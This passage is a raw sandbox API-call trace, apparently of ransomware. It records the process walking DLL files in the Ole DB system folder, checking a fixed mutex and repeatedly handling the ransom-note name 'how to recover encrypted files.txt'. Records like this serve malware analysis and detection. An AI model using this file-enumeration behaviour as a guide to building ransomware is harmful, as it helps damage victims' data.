lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll", lpUsedDefaultChar=0x0) returned 55 [0057.106] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\msdasql.dll", lpUsedDefaultChar=0x0) returned 4 [0057.106] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0057.106] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.106] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.106] CharLowerBuffW (in: lpsz="msdasqlr.dll", cchLength=0xc | out: lpsz="msdasqlr.dll") returned 0xc [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll", cchWideChar=56, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dllo", lpUsedDefaultChar=0x0) returned 56 [0057.107] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\msdasqlr.dllo", lpUsedDefaultChar=0x0) returned 4 [0057.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.107] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.107] CharLowerBuffW (in: lpsz="msdatl3.dll", cchLength=0xb | out: lpsz="msdatl3.dll") returned 0xb [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.107] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\msdatl3.dll", lpUsedDefaultChar=0x0) returned 4 [0057.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.108] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.108] CharLowerBuffW (in: lpsz="msxactps.dll", cchLength=0xc | out: lpsz="msxactps.dll") returned 0xc [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.108] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\msxactps.dllo", lpUsedDefaultChar=0x0) returned 4 [0057.108] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.108] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.108] CharLowerBuffW (in: lpsz="oledb32.dll", cchLength=0xb | out: lpsz="oledb32.dll") returned 0xb [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.109] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\oledb32.dll", lpUsedDefaultChar=0x0) returned 4 [0057.109] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.109] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.109] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.109] CharLowerBuffW (in: lpsz="oledb32r.dll", cchLength=0xc | out: lpsz="oledb32r.dll") returned 0xc [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.109] MultiByteToWideChar (in: CodePage=0x4e4, 